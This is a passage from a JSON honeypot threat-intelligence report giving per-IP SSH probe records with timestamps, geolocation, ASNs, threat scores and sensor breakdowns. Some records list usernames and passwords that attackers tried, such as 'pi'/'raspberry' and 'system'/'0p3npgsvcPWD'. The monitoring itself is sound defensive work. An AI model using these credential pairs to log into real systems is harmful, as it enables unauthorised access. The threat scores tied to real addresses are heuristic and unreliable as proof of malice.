      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "171.114.225.4": {
      "attack_count": 52,
      "first_seen": "2026-05-19T15:28:17.062Z",
      "last_seen": "2026-05-21T10:14:30.707Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.9,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T15:28:17.062000+00:00",
        "last_seen_30d": "2026-05-21T10:15:40.395000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 26
      }
    },
    "61.53.72.138": {
      "attack_count": 50,
      "first_seen": "2026-05-31T00:24:06.052Z",
      "last_seen": "2026-05-31T00:29:30.329Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T00:24:06.052000+00:00",
        "last_seen_30d": "2026-05-31T00:30:37.063000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "209.90.232.71": {
      "attack_count": 46,
      "first_seen": "2026-05-08T21:38:33.695Z",
      "last_seen": "2026-05-29T14:44:03.342Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Tukwila",
      "asn": 23033,
      "as_org": "Wowrack.com",
      "threat_score": 44.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T21:38:33.695000+00:00",
        "last_seen_30d": "2026-05-29T14:45:07.666000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "196.218.201.19": {
      "attack_count": 44,
      "first_seen": "2026-05-20T18:28:47.234Z",
      "last_seen": "2026-05-22T21:12:36.627Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": null,
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:28:47.234000+00:00",
        "last_seen_30d": "2026-05-22T21:13:39.951000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 22
      }
    },
    "35.195.111.178": {
      "attack_count": 39,
      "first_seen": "2026-05-08T04:53:38.853Z",
      "last_seen": "2026-05-08T04:53:52.559Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 7.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T04:53:38.853000+00:00",
        "last_seen_30d": "2026-05-08T04:55:01.275000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 39,
        "Suricata": 22
      }
    },
    "3.131.220.121": {
      "attack_count": 33,
      "first_seen": "2026-05-04T04:29:42.058Z",
      "last_seen": "2026-05-21T13:59:04.548Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4775,
        "days_active_30d": 23,
        "ports_targeted_30d": 159,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-05-02T02:25:47+00:00",
        "last_seen_30d": "2026-05-24T09:37:30.556000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2949,
        "Honeytrap": 1448,
        "Redishoneypot": 106,
        "Dionaea": 90,
        "ConPot": 78,
        "Mailoney": 46,
        "Cowrie": 33,
        "ElasticPot": 10,
        "Honeyaml": 4,
        "Ciscoasa": 3,
        "Ipphoney": 3,
        "CitrixHoneypot": 2,
        "Tanner": 2,
        "H0neytr4p": 1
      }
    },
    "3.143.162.210": {
      "attack_count": 32,
      "first_seen": "2026-05-05T03:44:43.771Z",
      "last_seen": "2026-05-23T06:50:01.584Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 68.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 2515,
        "days_active_30d": 22,
        "ports_targeted_30d": 125,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-05-02T04:32:29+00:00",
        "last_seen_30d": "2026-05-23T19:15:40.279000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1600,
        "Honeytrap": 782,
        "Redishoneypot": 44,
        "Cowrie": 32,
        "Mailoney": 20,
        "Dionaea": 13,
        "Ipphoney": 12,
        "Tanner": 5,
        "Ciscoasa": 2,
        "ConPot": 2,
        "ElasticPot": 2,
        "CitrixHoneypot": 1
      }
    },
    "175.107.205.211": {
      "attack_count": 30,
      "first_seen": "2026-05-26T11:03:38.717Z",
      "last_seen": "2026-05-26T11:06:53.025Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T11:03:38.717000+00:00",
        "last_seen_30d": "2026-05-26T11:08:02.827000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "154.27.192.58": {
      "attack_count": 28,
      "first_seen": "2026-05-05T00:17:35.947Z",
      "last_seen": "2026-05-05T00:33:54.487Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Tecom\u00e1n",
      "asn": 270207,
      "as_org": "MULTICARRIER JE S. DE R.L. DE C.V.",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:17:35.947000+00:00",
        "last_seen_30d": "2026-05-05T00:35:04.603000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 16
      }
    },
    "95.182.81.25": {
      "attack_count": 27,
      "first_seen": "2026-05-27T14:36:12.119Z",
      "last_seen": "2026-05-27T14:37:06.716Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "system",
        "Openpgsvc",
        "RPM",
        "pi"
      ],
      "passwords_attempted": [
        "0p3npgsvcPWD",
        "OkwKcECs8qJP2Z",
        "RPM",
        "budda279056",
        "raspberry"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Czechia",
      "country_code": "CZ",
      "city": "Prague",
      "asn": null,
      "as_org": null,
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T14:36:12.119000+00:00",
        "last_seen_30d": "2026-05-27T14:38:12.583000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 11
      }
    },
    "23.88.2.228": {
      "attack_count": 24,
      "first_seen": "2026-05-27T02:22:01.629Z",
      "last_seen": "2026-05-29T07:51:28.221Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T02:22:01.629000+00:00",
        "last_seen_30d": "2026-05-29T07:52:32.988000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "185.134.49.116": {
      "attack_count": 18,
      "first_seen": "2026-05-09T22:27:34.247Z",
      "last_seen": "2026-05-31T00:49:00.351Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 203443,
      "as_org": "Indert Connection Lp",
      "threat_score": 44.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.2,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T22:27:34.247000+00:00",
        "last_seen_30d": "2026-05-31T00:50:05.381000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "14.103.115.123": {
      "attack_count": 15,
      "first_seen": "2026-05-06T17:20:34.470Z",
      "last_seen": "2026-05-06T18:10:57.096Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "developer",
        "ubuntu"
      ],
      "passwords_attempted": [
        "333",
        "password",
        "qwerty1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T17:20:34.470000+00:00",
        "last_seen_30d": "2026-05-06T18:21:02.230000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "117.242.152.129": {
      "attack_count": 14,
      "first_seen": "2026-05-20T11:39:54.791Z",
      "last_seen": "2026-05-20T12:35:37.219Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T11:39:54.791000+00:00",
        "last_seen_30d": "2026-05-20T12:36:40.710000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 7
      }
    },
    "45.156.129.60": {
      "attack_count": 14,
      "first_seen": "2026-05-20T07:08:49.097Z",
      "last_seen": "2026-05-20T07:09:38.584Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 77.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.3,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 134,
        "days_active_30d": 22,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-09T19:11:57+00:00",
        "last_seen_30d": "2026-05-30T00:27:05.549000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Honeytrap": 39,
        "Cowrie": 14,
        "Dionaea": 6
      }
    },
    "148.135.74.119": {
      "attack_count": 12,
      "first_seen": "2026-05-05T01:17:45.140Z",
      "last_seen": "2026-05-08T15:34:44.734Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:17:45.140000+00:00",
        "last_seen_30d": "2026-05-08T15:35:51.003000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "89.23.113.208": {
      "attack_count": 10,
      "first_seen": "2026-05-29T13:39:26.908Z",
      "last_seen": "2026-05-29T13:48:13.894Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 207713,
      "as_org": "Global Internet Solutions LLC",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T13:32:29.159000+00:00",
        "last_seen_30d": "2026-05-29T13:57:58.958000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8
      }
    },
    "115.190.119.177": {
      "attack_count": 8,
      "first_seen": "2026-05-20T14:07:19.352Z",
      "last_seen": "2026-05-23T06:57:41.788Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T14:07:19.352000+00:00",
        "last_seen_30d": "2026-05-23T06:58:46.979000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "192.42.116.102": {
      "attack_count": 8,
      "first_seen": "2026-05-25T19:10:50.042Z",
      "last_seen": "2026-05-25T19:11:13.783Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 35.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.8,
        "persistence": 1.7,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 2,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-24T01:23:20+00:00",
        "last_seen_30d": "2026-05-25T19:12:17.668000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29,
        "H0neytr4p": 8,
        "Cowrie": 6,
        "Ciscoasa": 5
      }
    },
    "2.57.122.190": {
      "attack_count": 8,
      "first_seen": "2026-05-14T10:02:56.297Z",
      "last_seen": "2026-05-15T22:04:36.954Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T10:02:56.297000+00:00",
        "last_seen_30d": "2026-05-15T22:05:41.326000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "35.233.8.58": {
      "attack_count": 8,
      "first_seen": "2026-05-13T07:01:56.939Z",
      "last_seen": "2026-05-13T07:02:30.874Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T07:01:56.939000+00:00",
        "last_seen_30d": "2026-05-13T07:03:34.038000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "38.137.179.246": {
      "attack_count": 8,
      "first_seen": "2026-05-04T14:16:29.462Z",
      "last_seen": "2026-05-04T14:20:30.574Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Barquisimeto",
      "asn": 273155,
      "as_org": "DATANET VZLA 2021, C.A",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T14:16:29.462000+00:00",
        "last_seen_30d": "2026-05-04T14:22:13.279000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 8
      }
    },
    "66.240.223.240": {
      "attack_count": 8,
      "first_seen": "2026-05-05T12:50:03.474Z",
      "last_seen": "2026-05-08T09:41:53.704Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 76.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.3,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 24,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-05T12:50:03.474000+00:00",
        "last_seen_30d": "2026-05-28T06:07:35.392000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78,
        "Dionaea": 9,
        "Cowrie": 8,
        "Redishoneypot": 6,
        "Honeytrap": 5,
        "H0neytr4p": 1,
        "Tanner": 1
      }
    },
    "45.79.172.21": {
      "attack_count": 7,
      "first_seen": "2026-05-09T02:04:02.662Z",
      "last_seen": "2026-05-09T02:04:03.066Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 50.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.6,
        "persistence": 16.7,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 20,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-05T05:58:08.645000+00:00",
        "last_seen_30d": "2026-05-24T13:28:22.087000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Cowrie": 7,
        "Honeytrap": 6,
        "Tanner": 1
      }
    },
    "151.158.1.210": {
      "attack_count": 6,
      "first_seen": "2026-05-31T18:19:30.293Z",
      "last_seen": "2026-05-31T18:22:10.246Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 149440,
      "as_org": "Evoxt Sdn. Bhd.",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.6,
        "persistence": 1.7,
        "diversity": 12,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 2,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T09:13:14.994000+00:00",
        "last_seen_30d": "2026-05-31T18:23:11.387000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 6
      }
    },
    "168.119.142.223": {
      "attack_count": 6,
      "first_seen": "2026-05-05T00:57:39.665Z",
      "last_seen": "2026-05-05T00:57:47.154Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:57:39.665000+00:00",
        "last_seen_30d": "2026-05-05T00:58:48.484000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
